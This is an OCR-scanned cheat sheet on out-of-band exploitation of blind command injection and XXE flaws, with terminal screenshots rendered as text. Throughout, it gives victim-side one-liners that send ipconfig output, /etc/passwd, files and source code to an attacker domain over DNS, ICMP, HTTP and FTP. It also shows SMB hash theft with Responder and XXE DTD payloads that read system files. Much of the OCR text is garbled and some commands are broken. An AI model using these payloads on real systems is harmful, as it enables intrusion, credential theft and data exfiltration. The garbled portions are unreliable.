Out of Band Exploitation (O0OB) CheatSheet
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Introduction:

Out-0f-Band (O0B) technique provides an attacker with an alternative way to confirm and exploit a vulnerability which is otherwise "blind". In a blind
vulnerability, as an attacker you do not get the output of the vulnerability in the direct response to the vulnerable request. The OOB techniques often
require a vulnerable entity to generate an outbound TCP/UDP/ICMP request and that will then allow an attacker to exfiltrate data. The success of an
OOB attack is based on the egress firewall rules i.e. which outbound request is permitted from the vulnerable system and the perimeter firewall.

In this article Ajay(@9r4sharsjay) and Ashwin(@AshwinPathak26) have kept a rule of thumb to use DNS as our best bet for OOB to succeed. Thus, for
all the below mentioned techniques, we have focused heavily on DNS.

For the purpose of this article, we have tried to keep victim payloads as one-liners with minimal dependencies and privilege.

The Set-up: Spinning-up the Infrastructure for DNS/00B Queries.

Prerequisites

Public Server with Static IP address: For demonstration purposes, we will be using \/PS service provided by Google cloud platform(GCP).
Registered Domain: Access to registered domain settings to delegate authority to your Nameserver. We will use oob.dnsattacker.com for DNS
resolutions.

Steps

We used Google Cloud Platform(GCP) to create a linux machine with static IP address. Ensure you have root privileges on the server. If you do not have
prior experience with GCP, you can follow this guide to create your own machine.
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We added two records for our domain in DNS settings from our registrar's portal. First one defined a subdomain with its NameServer. In Next step, we
defined A record(IP address of our GCP server) for the nameserver. These settings will now route all DNS requests for subdomain to our GCP server.
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SEARCH D NS Resource records define how your domain behaves. Common uses include pointing your domain at your
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We can use tcpdump to observe DNS queries on server.

@ test@nsl: ~

test@nsl:~% tcpdump -n port 53

-bash: tcpdump: command not found

test@nsl:~% sudo tcpdump -n port 53

tcpdump: werbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type EM18ME (Ethernet), capture size 262144 bytes
12:85:87.245716 IP 183.41.8° &8 61869 > 10.142.8.2.53: 51692% [lau] A? |test.oob.dnsattacker.com.|(53)

l2:85:88.841685 IP 183.41. = 58939 > 198.142.8.2.53: 25953% ? |[test.oob.dnsattacker.com. | (53)
12:85:088.835816 IP 183.41._.. 1w 34427 > 18.142.8.2.53: 15 ? test.oob.dnsattacker.com. (42)

_._l " EwE ww B~ k

crackme@s m ~$% dig test.oob.dnsattacker.com
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0S Command Injection: O0OB

We can detect an OS Code injection vulnerability in a web app by making it resolve crafted DNS names and looking for the associated DNS queries.

Detection

DNS

Attacker: Use Wireshark/tcpdump for port 53 to observe response

sudo tcpdump -n port 53

Note: In DNS commands, we could also explicitly define the nameserver to use for resolution.

Windows

nslookup test.oob.dnsattacker.com

¥nslookup test.oob.dnsatt

timed-out

@ test@nsl: ~ —

acker@nsl:~% sudo tcpdump -n port 53

ump: verbose output suppressed, use -v or -vv for full protocol decode
istening on eth®, link-type EN1BMB (Ethernet), capture size 262144 bytes
2:87:41.535265 IP 183.41.23 » 18.142.68.2.53: 58454% [lau] A?!test.oob.dnsattacker.com. {F3)
2:87:43.529496 IP 183.41.23 > 18.142.8.2.53: 35586% [lau] : z z z . (53)

2:87:43.931468 IP 183.41.23 » 18.142.8.2.53: 24616% [1lau] A? test.oob.dnsattacker.com. (53)

ping ping.oob.dnsattacker.com

attackerf@nsl:~% sudo tcpdump -n port 53
Ecpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type EN18MB (Ethernet), capture size 262144 bytes
12:18:14.478992 IP 183.41. 36182 > 18.142.8.2.53: 51811% [lau] Wa? fping.oob.dnsattacker.com.}(53)
12:18:17.588876 IP 183.41. 18576 > 18.142.8 —ISELE% | lau *lping.oob.dnsattacker.com. |(53)
12:18:19.268848 IP 183.41. 15759 > 18.147.8.2.53: 48275% [1au] A?|ping.oob.dnsattacker.com. J{53)
N12:18:19.986885 IP 183.41. 12866 .B.2.53: 21228% [1au] A? ing.oob.dnsattacker.com/ (53)
12:168:22.789848 IP 183.41. 37861 .8.2.53: 8984 A? ping.oob.dnsattacker.com. (42)
12:16:24.471835 IP 183.41. 11978 .8.2.53: 18934 A? ping.oob.dnsattacker.com. (42)
12:16:25.989814 IP 183.41. 14225 .B.2.53: 12235 A? ping.oob.dnsattacker.com. (42)
12:16:29.518714 IP 183.41. 7368 .8.2.53: 47715 A? ping.oob.dnsattacker.com. (42)
2:16:30.069977 IP 163.41. _ [ b 19627 - .B.2.53: 29452 A2 pine.oob.dnsattacker.com. (42)

B Command Prompt Ping will first resolve Domain Name

Apin

could not d ho N dns - Please check the name and try

UNIX

host host.oob.dnsattacker.com



-attacker@nsl:~$ sudo tcpdump -n port 53

tcpdump: verbose output suppressed, use -v or -wv for full protocol decode

listening on eth®, link-type EN18MB (Ethernet), capture size 262144 hyies

12:14:15.613868 IP 183.41. 36389 > 16.142.8.2.53: 59436 A?Cost.Oob.dnsattacker‘.com. (42)

12:14:19.182845 IP 1683.41. 14789 » 18.142.8.2.53: 15761% [lau] A? host.oob.dnsattacker.com:){53}

A
-

:~$(h05t host.oob.dnsattacker.com )

@ crackme(@

CracKme;

s

Similarly, we could use:
dig test.oob.dnsattacker.com

ping test.oob.dnsattacker.com
nslookup test.oob.dnsattacker.com

Exploitation/Exfiltration

DNS

Note: Use Wireshark/tcpdump for port 53 to observe response

tcpdump -n port 53

Windows

Victim:

certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3

cmd /v /c "hostname > temp &&
FINAL=!MYVAR! .oob.dnsattacker.com && nslookup !FINAL!"

&& set /p MYVAR=<temp3 && set

Attacker:
echo “encoded output” |base64 -d # decode the output with base64

/V "CERTIFIC!

ommand completed suc

timed-out

link-type EN18ME (Ethernet), capture size 262144 bytes

liﬁtening on etha,
SORTARY » 18.142.8.2.53: 68845% [TauT A?lQtheSlDUlMNCg==|oob.dnsattacker.com. (65)

[12:26:48.617336 IP 163,

12:26:42. .41 1 > 198.142.8.2.53: 7459% [lau] AAAA? QUpheS10U1MNCg==.cob.dnsattacker.com. {65)
[12:26:58. > 18.142.8.2.53: 57453% [lau] A? QUWpheS10U1MNCg==.cob.dnsattacker.com. {65)
12:26:52. 18.142.8.2.53: 5452% [lau] AAAA? QUpheS10UIMNCg==.oob.dnsattacker.com. (65)
[12:27:08. » 18.142.8.2.53: 208915 A? QUWpheS10U1MNCg==.cob.dnsattacker.com. (54)
12:27:82.20 L > 18.142.8.2.53: 32398 AAAA? QWpheS10UIMNCg==.oob.dnsattacker.com. (54)

"B~C

Sending output with multiple lines and large size.

Victim

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell S$text=Get-
Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in S$subdomain){
Sfinal=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"

HEX

# Sending file

Attacker

sudo tcpdump -n port 53 | tee file.txt

in



Extracting and constructing Output:

echo "0x$(cat file.txt |[tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n")" | xxd -r -p
4
timed out
LA d
® Receiving DNS and writing it to file.txt
ttacker@nsl:~%| sudo tcpdump -n udp port 53 |[tee file.txt A A/
rcpdump: verbos& OULpUL GUDDTesced, U=E -V or -wv ror tu0ll protocol decode k
listening on eth@, link-type EN18BMB (Ethernet), capture size 262144 byt
el 41. .18934 18.142.8.2.53: 35344% [1lau] A?(;ilil(EidEia5?595e545F???328495828435F59.}Cile.oob.d
sattacker.com. (92)
eSS E =4 1. B0.19649 »>\1©.142.8.2.53: 37425% [lau] AAAA? 11111.8dBa57696e646f777326495820436f6e.file.0o
.dnsattacker.com. (92)
) Select attacker@ns1: ~ ﬁ — O *
ttacker@nsl:~$ echo "@x$(cat file.txt |[tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '." -f
tr -d "\n")" | xxd -r -p
Lghdows IP Configuration j\
Fthernet adapter Ethernet:
Media State . e e e e ! Media disconnected
COnnECtiOn—SpECiFiC DNS Suffix : fritz.box Extracting‘ rearranging and hex
Fthernet adapter VirtualBox Host-Only Network: decoding based on sequence
number to get the original output
Connection-specific DNS Suffix :
Link-local IPv6 Address . 2 Fesa::84d1:345t§c?5d:5159%15
IPv4 Address. 1 192.168.56.1
Subnet Mask . : 255.255.255.0
\, Default Gateway . g J
Limitation: Powershell required
Unix:
Victim:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+l)) && dig $var.$b.file.oob.dnsattacker.com;
done # Sending file in HEX
Attacker:
sudo tcpdump -n port 53 | tee file.txt
Extracting and constructing Output:
echo "0x$(cat file.txt |[tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -4 '.' -f

2|tr -d '\n')" | xxd -r -p



crackme@ o o 155:~% var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+l)) && dig %var.$b.file.ocob.dnsattacker.co

; done

tacker.com

; <<»> DiG 9.11.3-lubunpul-Ubuntu <<>>[ 11112 [657468323a28666C6167733d343136333c55582c42524174144434153542¢.

;5 global options: +c
;3 connection timed ofit; W.
—

ould be reached /
k

sudo tcpdump -n udp port 53 | tee file.txt

@ attacker@nsl: ~
attacker@nsl:~%
tcpdump: verbose
listening on ethd, link-tpe=
B3:21:23.156981 IP 183.41 - g > 10.
2414144434153542¢c.file.och 0 &% 5 Bo¢.com.
B3:21:23.952062 IP 163.41. 8 i E=al >

414144434153542c.file. ook =l Eemm | COM
B3:21:24.758859 IP 1683.41 Sen | petemm, > ]
434153542c.file.oob.dnsate® = o | 189)
B3:21:26.356599 IP 183.41. 0§ L. IS > 16.142;

(128)

Receiving Output in DNS queries and writing it to a'file

otocol decode
capture size 262144 bytes
2.6.2.53: 39573% [lau] A? 11112.657468323a28666c6167733d343136333c55502c425

.142.6.2.53: 4588% [lau] A? 11112.657468323a320666C6167733d343136333c55582c4252
.142.8.2.53: 25482 A? 11112.657468323a20666c6167733d343136333c55502c4252414144

.53: 34103 A? 11112.657468323a208666c6167733d343136333¢55502c4252441444

H

T
@ attacker@ns1: ~ A

— O

attacker@nsl:~% echo "@x$(cat file.txt |tr ' " '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.’

_fx)

tr -d "\n")" | xxd -r -p
2: ‘Flag5=4163<UP,BROADCAST,RUNNING,MULTICAST)- mtu 1588

ether Ba:88:27:868:808:18 (Ethernet)

RX packets @ bytes @ (8.8 B) t§

RX errors @ dropped 8 overruns @ frame @

TX packets @ bytes & (8.8 B)

TX errors @ dropped @ overruns @ carrier 8@ collisions 8

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1588
inet 127.8.8.1 netmask 255.8.8.8
inet6 ::1 prefixlen 128 scopeid @x@<global:»
loop (Local Loopback)
RX packets @ bytes & (8.8 B)
RX errors @ dropped 8 overruns @ frame @
TX packets @ bytes & (8.8 B)
\\_ TX errors @ dropped @ overruns @ carrier 8@ collisions 8

inet 192.168.56.1 netmask 255.255.255.8 broadcast 192.168.56.255
inets fe88::84d1:3451:c75d:6159 prefixlen 64 scopeid @x8<global:

<

Extracting, rearranging output
based on sequence number
and then hexdecoding

Base64 encoded file are less in size compared hex encoded.

Victim:

var=11111 && for i in $(ifconfig

Svar.$i.file.oob.dnsattacker.com; done# Sending file in base64

Attacker:

base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+l)) && nslookup

cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d

'\n'|base64 -d # Extracting Output



hNfvar.$i.file.oob.dnsattacker.com; done

E}ac<me@£jay-HSS:m$ var=11111 && for i in $(ifconfig|base64|awk "{gsub(/.{5@}/,"&\n")}1"); do var=%$((var+l)) && nslooku

)

;3 connection timed out; no servers could be reached
33 connection timed out; no servers could be reached

33 connection timed out; no servers could be reached

@ attacker@ns1: ~

eth®, link-type EN18MB (Ethernet), captu
16.142.8.2.53

listening on
- £

135047, B9 1P 103.41. 1 Pl 16.142.6.2.53:
OTk1ORy.file.oob.dnsattacks " i)
©3:35:44.6554808 IP 183.41. - » 168.142.8.2.53:
OTklORy.file.oob.dnsattacks= pm= =)

©3:35:51.650796 IP 163.41 .57 RN > 19.142.8.2.53:

attacker@nsl:~% |sudo tcpdump -n udp port 53 | tee file2.txt
tcpdump: verbos 3 = = tocol decode

size 262144 byt
28650% [1lau] A?GillE (ZXRC-Mj0g2mxh23M9NDE2MZX\|"UCKCUkQBRENBU1QSU1V

2373% [1lau] A? 11112.7ZXRoMjogZmxhZ3MONDE2MzxVUCXCUkSBRENBU1QsULV
493% [1au] A? 11112.ZXRoMjogZmxhZ3IMINDE2MzxVUCxCUkSBRENBU1QsULY

69% [lau] A? 11112.7XRoMjogZmxhZ3MINDEZMzXVUCXCUKSBERENBU1QSULY

@ attacker@nsl: ~

\&1 O X

Gttacker@insl:~% cat file2.txt |tr ' ' "\n' |awk '/file.
n' |basesd4 -d

oob.dnsattacker.com/ {print $1}'|sort -u| cut -d *.' -f 2|tr -d i)

inet 192.168.56.1
inet6 fe88::84d1:3451:c75d:6158 prefixlen 64
ether 8a:88:27:00:80:18 (Ethernet)

RX packets @ bytes 8 (8.8 B)

RX errors @ dropped @ overruns 8 frame @
TX packets 8 bytes @ (8.8 B)

TX errors ©® dropped ® overruns @ carrier @
llo: flags=73<UP,LOOPBACK,RUNNING> mtu 1588

inet 127.8.8.1 netmask 255.8.8.8

ineté ::1 prefixlen 128 scopeid @x@<global:
loop ({Local Loopback)

RX packets @ bytes 8 (8.8 B)

RX errors @ dropped @ overruns 8 frame @
TX packets 8 bytes @ (8.8 B)

TX errors ©® dropped ® overruns @ carrier @

\.

ﬁlfﬁZ: flags=4163<UP, BROADCAST , RUNNING, MULTICAST> mtu 1588
netmask 255.255.255.8 broadcast 192.168.56.255

collisions @

collisions @

<

scopeid @x@<global:

J

ICMP

Windows

Victim

cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient

System.Net.NetworkInformation.Ping; $PingOptions

System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment
([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send( 'dnsattacker.com',60 * 1000,

$PingOptions) ;
Attacker
sudo tcpdump 'icmp and src host 202.14.120.xx'

To extract:

echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n'

P #0r Use Wireshark gui

= New-Object
= New-Object
= $True; $sendbytes =
$sendbytes,
-w powericmp.pcap #To capture
| tr -4 ':')" | xxd -r -



ation.Ping

@ attacker@nsl: ~

CLacKergns

‘icmp and src host 282.]

= ~%| sudo tcpdump
tcpdump llstenl ;

1 packet received by filter )

8 packets dropped by kernel

attacker@nsl:~% echo "ex$(tshark -n -g -r powericmp.pcap -T fields -e data.data | tr -d "\n°®

-w powericmp.pcap

Extracting Output from ICMP traffic

| tr -d ":° | ®xd -r -p

ndows LP Lonflguratlon Ethernet adapter ctnernet:
ection-specific DNS Suffix fritz.box
ffix Link-local IPv6 Address
2.168.56.1 Subnet Mask
apter Local Area Connection® 1:
ffix
Connection-specific DNS Suffix
nected Connection-specific DNS Suffix
ia disconnected Connection-specific DNS Suffix
: fritz.box Link-local IPv6 Address
192. 158 178.3@ Subnet Mask

fedo:

Medla State

Media State

Ethernet adapter VirtualBox Host Only Network
:84d1:3451:c75d:6159%16
255.255,255.0

lireless LAN adapter Local Area Connection® 2
Ethernet adapter Ethernet 2:
Ethernet adapter Ethernet 3:
Wireless LAM adapter Wi-Fi:
fe86::38c4:a111:4c5b:585d%17
255.255,255.0

Media disconnected COrT™,
Connection-specific DNS 5
IPv4 Address. . . . . 1
NlPElESS LAN a
Connectlon specific DNS S
Medla State Media disconnected
Media State e Media disco
Media State e e : Me
Connection- 5pec1F1c DNS SuFle
IPv4 Address.
Default Gateway

Default Gateway
Media dlsconnected

'192.168.17
J/

e o e

Limitation: Powershell required

Unix

Victim:

cat /etc/passwd | xxd -p -c 16 | while read exfil;

Attacker:
sudo tcpdump 'icmp and src host 202.14.120.xx'

To extract

echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n'

p #0r Use Wireshark gui

do ping -p $exfil -c 1 dnsattacker.com;don

-w icmp_file.pcap#To capture

| tr -4 ':')" | xxd -r -




crackme ss:4{8 cat /etc/passwd xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;done )
PATTERN: 8x726f6f743a783a363a3083a/726t61t743a

PING dnsattacker.com (35.211. I | 56(84) bytes of data.
64 bytes from 9 NF" 7 1.35.bc.googleusercontent.com (35.211. %% i icmp_seg=1 ttl=63 time=266 ms

@) attacker@ns1: ~ O et
a:tac<er@n51:~$(sudo tcpdump  “icmp and src host 282.04. L8 .&5' -w icmp file.pcap

tcpdump: listening on eth@, link-type EN1BMB (Ethernet), capture size 262144 bytes
"C98 packets captured (

B8 packets received by filter
P packets dropped by kernel

@ attacker@ns1: ~ “ — O

pttacker@nsl:~%{echo "@x$(tshark -n -q -r icmp file.pcap -T fields -e data.data | tr -d "\n" | tr -d

Receiving file on attacker server using ICMP data in packets

root: /bin/bash

root: /bvE daemon:x:1:1:daedaemon:x:1:1:daedaemon:x"E mon: fusr/sbin:/umon: /fusr/sbin:/umon: /usr2@ sr/sbin/
pgin

er/sbin/nologin

Er/sbin/ bin:x:2:2:bin:/bbin:x:2:2:bin:/bbin:x:2:zhE in:/usr/sbin/nolin:fusr/sbin/nolin: /fusr/j

ogin

Eys:x:3:3:s0gin

Eys:x:3:3:s0gin

i{f B ys:/dev:/usr/sbiys:/dev:/usr/sbiys:/dev:jmE n/nologin

M icmp_file (1).pcap

- O

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help View the contents using command line or
dm @ [IDREB Re=>=FLS|[EQRQAQH wirshark
[i |Appl\; a display filter ... <Ctrl-/= \-.__ Expression...
Mo. Time Source Destination Protocol  Length Info

1 @.pa0a0a 202.14. 0 = 1@.142, 0 ICMP 98 Echoe (ping) request id=8xaal2, seq=1/256, ttl=l1@4 (
r 2 1.198453 202,14 s - 16.142 sl ICMP 98 Echo (ping) reguest 1d=8xbf27, seq=1/256, ttl=184 (
<

>

Timestamp from icmp data: Aug 29, 2018 18:48:53.880000000 India Standard Time
[Timestamp from icmp data (relative): -8.357814080 seconds]
v Data (48 bytes)
Data: 69220890808000000726T6T743a783a383a383a726T6F743a...
[Length: 48]

42 @1 @a Be @8 82 42 @1 ©a Be 9@ @1 @3 2@ 45 @@
@8 54 @6 Bd @8 B8 68 81 Tf cf ca @e 78 2e Ba Be
@@ 82 B3 @0 e4 13 aa @82 @@ @1l bd 2c 36 Sb @@ @@
8@ 69 22 09 00 90 @@ o8 ee 72 6f 6T 74 3a 78
3a 3@ 3a 3@ 3a 72 6f 6Ff 74 3a 72 6f 6T 74 3a 738
3a 3@ 3a 3@ 3a 72 6f 6f 74 3a 72 &f 6F 74 3a 78
3a 38

= 0

[ cw I e I I B I e ]
&5
(S R NY R

(= e e I T R I e ]

HTTP

Windows
Victim:

cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex &&
set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

Note: If powershell is not available,use “mshta !Final!” .

Attacker:

echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -£f2)" |xxd -r -p



ommand comple

attacker@nsl:~% echo "ex$(ncat -lvp 9808 |grep -i get|tr -d °/' |cut -d ' ° -f2)" |xxd -r -p )
Ncat: Version 7.09 ( ITCLDS ./ /(Map.Org/cac )

Mcat: Listening on :::98688

Mcat: Listening on ©.8.8.6:9800

Ncat: Connection from 282.14.

Ncat: Connection from 262.14. 2% ™
ﬂ;;dows IP Configuration N

Fthernet adapter Ethernet:

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix . : fritz.box

Fthernet adapter VirtualBox Host-Only Network:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB88::84d1:3451:c75d:6159%16
IPv4 Address. . . . . . . . . . . & 192.168.56.1
Subnet Mask . . . . . . . . . . . : 255.255,255.8
\; Default Gateway . . . . . . . . . : ,)
Unix
Victim:

wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
Attacker:

echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -£2)" |xxd -r -p

®
crackmegs SS:~f wget --header=evil:$(ifconfig|xxd -p -c 1eeee8) http://dnsattacker.com:9068 )
--2018-08-29 13:00:79-- T TCOmTooee7
1Resoluing dnsattacker.com (dnsattacker.com)... 35.211.§8™® 64:ffo9b: i
Connecting to dnsattacker.com (dnsattacker.com)|35.211 i|:9080... connected.
ClJ
atta:<ef§ﬂsl:«$(§cho "@x$(ncat -lvp geee |grep -i evil|tr -d '/ |cut -d ° ° -f2)" |xxd -r -p )
cat: Version 7.00 1 TCLPS .7/ Map. OB ncac J
cat: Listening on :::9008
cat: Listening on ©.8.8.8:96606
cat: Connection from 262.14.
cat: Connection from 202.14 .15 S WS,
?pﬁi: tlags=4163<UP, BROADCAST , RUNNING,MULTICAST> mtu 1588 ﬁ“\\
inet 192.168.56.1 netmask 255.255.255.8 broadcast 192.168.56.255

ineté fe8@::84d1:3451:c75d:6159 prefixlen 64 scopeid @x8<global>
ether B8a:00:27:80:88:18 (Ethernet)

RX packets @ bytes 8 (8.8 B)

RX errors ©® dropped & overruns @ frame © g{gh
TX packets @ bytes @ (8.8 B)

TX errors @ dropped @ overruns & carrier 8 collisions @

Receiving
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1508 et
inet 127.8.8.1 netmask 255.6.6.8 in request
inet6 ::1 prefixlen 128 scopeid éxe<global> header,

extracting and
hex decoding

loop (Local Loopback) DE
RX packets @ bytes 8 (8.8 B)

RX errors ©® dropped & overruns @ frame ©

TX packets @ bytes @ (8.8 B)

TX errors @ dropped @ overruns & carrier 8 collisions @

ifie: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1580
inet 192.168.178.38 netmask 255.255.255.8 broadcast 192.168.178.255
ineté fe8@::38c4:a111:4c5b:585d prefixlen 64 scopeid @x8<global»
unspec BC-A8-A6-DC-F4-E7-88-60-88-00-88-00-88-60-88-80 (UNSPEC)

\ RX packets 8@ bytes @ (8.0 B) /
BY arrnrc 0 Hwnlnlnnd B nvernruane B froama 0




Similarly, we could use
wget —post-data exfil='cat /etc/passwd' http://dnsattacker.com # extract data in post section
wget —post-file trophy.php http://dnsattacker.com # extract source code

cat /path/to/sensitive.txt | curl —F ":data=@-" http://dnsattacker.com/test.txt

SMB [Stealing hashes using Responder]

Windows
Victim
net use h: \\dnsattacker.com\web

Attacker

sudo ./Responder.py -I ethO#Run responder to capture hashes

B C:\Windows\system32\cmd.exe

Microsoft Hindows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\adminfnet use h \\dgsattacﬁer.com\web )
The command complete TCCESST | S

Author: Laurent Gaffie (laurent.gaffief@gmail.com)
To kill this script hit CRTL-C

[+] Poisoners: %
LLMNR [On]
NET-NS
DNS/MDNS

[+#] Listening for events...

[SMB] NTLMvZ-SSP Client :| |

[ATE | NICMVZ-55P Username :
IB] NTLMv2-SSP Hash

[SMETReqUES e Smare T LWDNSATTACKER.CUMIIPCS I

S Y =

Similarly, we could use

net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt

XXE:Out of Band

Detection

XXE could be confirmed by creating DNS requests to attackers domain (i.e. oob.dnsattacker.com). A good playground to play with XXE is available here
Victim:
<?xml version="1.0"?>

<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&el;</foo>

Attacker:

sudo tcpdump -n udp port 53


https://pentesterlab.com/exercises/play_xxe

| Go Cancel < | > |y

i Request

:J Raw T Params T Headers I Hex TXML }

Target: http://192.168.178.43 lﬁ

Response

J Raw T Headers T Hex T HTML T Render }

|POST /login HTTP/L.1L

|Host: 192.168.178.43

|User—-Agent: Mozilla/5.0 (Windows NT 10.0:
Gecko/20100101 Firefox/E€2.0

|Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
:Accept—Language: en-Us,en;=0.5

Aoccept-Encoding: gzip, deflate

http://192.168.178.43/ login

Content-Type: text/xml

Content-Length: 97

Connection:

>

Wine4; x£4: rv:ieZ.0)

Referer:

close

Upgrade-Insecure-Eequests: 1

-
<?¥ml wersion="1.0"7>
<!DOCTYPE foo SYSTEM "http:
<foorgel;</foox

xxeooh. ook dnsattacker . com

HTTP/Ll.1 400 Ead ERequest

Date: Wed, 29 Aug Z018 14:33:30 GMT
Content-Type: text/html;
charsec=utf-8

Content-Length: 1909
Connection: close
<!DOCTYPE html>
<html>
<head>
«<title>Bad
regquest</title>
<link rel="shortcut
icon”
href="data: image/png;haseé4, iVEORWOE

\

TS

permitted by applicable law.

Last login: Wed Aug 29 87:37:51 2818 from 137.
attacker@nsl:~$% sudo tcpdump -n port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol
listening on eth®, link-type EN18MB (Ethernet), capture size 262144

L

41 .= IS B » 10.142.8.2.53:

A AR LA A aAnT TR AT oaa AMm aAn M oA Co . amann &t oo - _ L

Limitation: As of writing this article, DNS queries can only be used for detection of XXE.

Exploitation/Exfiltration

HTTP

Attacker: Run python HTTP server to host dtd file.

python -m SimpleHttpServer 9000

Victim:
<?xml version="1.0" 2>
<IDOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
¥sp;
$paraml;
1>
<r>sexfil;</r>

linux.dtd:

<IENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY %

89:83:32.459425 IP 183.41 - . > 18.142.6.2.53: 54343% [lau]
89:83:32.477784 IP 183.41 e > 16.142.8.2.53: 52476% [1lau]
B9:83:33.257558 IP 183.41 .50 = > 18.142.6.2.53: 52180% [lau] A?
89:83:33.275366 IP 163.

31518% [lau] AAAA? xxeoob.oob.dnsattacker.com.

paraml "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:

O

DNS queries to attacker server

de

xeoob.oob.dnsattacker.com. (55)
? xxeoob.oob.dnsattacker.com. (55)

(55)

RN T T P (R faan

9000/%data; '>">



Note: for windows-based victim machines use below mention dtd file
windows.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<IENTITY % paraml "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">

FTP

Attacker
Run python HTTP server to host dtd file and xxeftp server (refer here).

python -m SimpleHttpServer 9000

python xxeftp.py

Victim:

<?xml version="1.0" 2>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
3Sp;

%paraml;

1>

<r>&exfil;</r>

linux.dtd

<IENTITY % data SYSTEM "file:///etc/passwd">
<IENTITY % paraml "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

Request Response
_[RawT Params I Headers I Hex ~()(ML 1 jRaw T Headers T Hex T HTML T Render 1
POST /login HTTP/L.1 A HTTP/Ll.1 400 Ead ERequest K
Host: 192.1eB.178.43 I Date: Wed, 29 Aug 2018 14:40:3Z2 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf£4; =64; rv:eZ.0) Content-Type: text/html;
Gecko/20100101 Firefox/62.0 charset=utf-g
Aocept: Content-Length: 1909
text/html, application/xhtml+xml, application/xml;q=0.9, */*;=0.8 Connection: close
Aoccept-Language: en-Us,en;qg=0.5
Aocept-Encoding: gzip, de=flate
Referer: http://L1l9I2.1€8.178.43/login
Content-Type: text/xml <!DOCTYPE html>
Content-Length: 157 <html>
Connection: close <head:>
Upgrade-Insecure-Eecquests: 1 <title>Bad
regquest</title> 3/
<?xml version="1.0" 7> <link rel="shortcut
<!DOCTYPE &£ [ icon™
< !ELEMENT r ANT > href="data: imags/ png:bascséd, iVBEORWOEG
<!ENTITY % sp SYSTEM ["http://dnsattacker.com:9000/ linux.dtd™> qoAAAAISUThEUgAAABAARAAQCAYAARATE,/ShAil
Lsp; AAGKEFWHETLZ Z0d2FvZ0BEZGY91iZ53BJbWFnZIVI
Sparaml; REquEStiﬁg remote DTD ﬁIE, l'&:URSccllPJULJ?.ILlFJREF.'T.TENI:[L.TUBtOFEEUP‘.-"\-'cl
1= . . NVidPeExYREn)GhmEgKjKzCTIiCwvEoIalllblysSE
<regexfili</rs which in turn sends contents of +PSv3A17DS iP2BOr wkLGVAGx ITSCRIIGSMEQ
@ attacker@ns1: ~ % jEtc[paSSWd file to server % - O *
itgckerfine] -nf cat J1inux did ~
VENTITY % data SYSTEM "file:///etc/passwd">
VTENTITY % paraml "<!ENTITY exfil SYSTEM "http://dnsattacker.com:0688/%data; '>">
attackerf@nsl:~% python -m SimpleHTTPServer 9688
Serving HTTF on ©.8.8.0 port %9888 ...
202.00 " am - - [29/Aug/2018 89:18:34] "GET /linux.dtd HTTR/1.1" 288 -
282, = [ eoms - - [20/Aug/20618 69:18:35] code 484, message File not found
T T [297Aue/ /20918 89:18:35] "GET /root:X:@:8:root:/root:/bin/she@hlp:x:7:7:1p:/var/spool/lpd:/bin/sh
BAnobody :x:65534:65534: nobody : /nonexistent: /bin/false®@Atc:x:1801:58:Linux%26User, ,, : /home/tc:/bin/sh%e. e
b:x:1800:56: Linux¥%26User, ,, : /o peesegmesDag 0y = meE - oo, fopt/play-2.1.3/xxe/:/b
false®BAmysgl:x:1681:65534: Linux¥26User home/mysgl:/bin/falseX@A HTTP/1.1" 484 -



https://gist.github.com/staaldraad/280f167f5cb49a80b4a3

Request

jRaw T Params T Headers I Hex TXML }

| Response

@ attacker@nsl: ~

